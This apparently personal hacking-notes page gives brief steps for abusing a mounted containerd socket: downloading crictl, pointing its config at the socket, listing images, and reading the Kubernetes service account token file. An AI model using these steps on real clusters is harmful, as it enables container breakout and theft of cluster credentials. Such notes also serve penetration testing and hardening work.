root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

---

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

---

Exploiting Containerd.sock

---

• Check mount-:

• Cntainerd.sock /custom/containerd/containerd.sock
• Exploiting it-:

wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.36.0/crictl-v1.36.0-darwin-amd64.tar.gz

• Creating crictl yaml file-:

runtime-endpoint: unix:///custom/containerd/containerd.sock
image-endpoint: unix:///custom/containerd/containerd.sock
timeout: 10
debug: false

• Bash

crictl -r unix:///custom/containerd/containerd.sock images

• If file read is supported, you can read file:///var/run/secrets/kubernetes.io/serviceaccount/token

---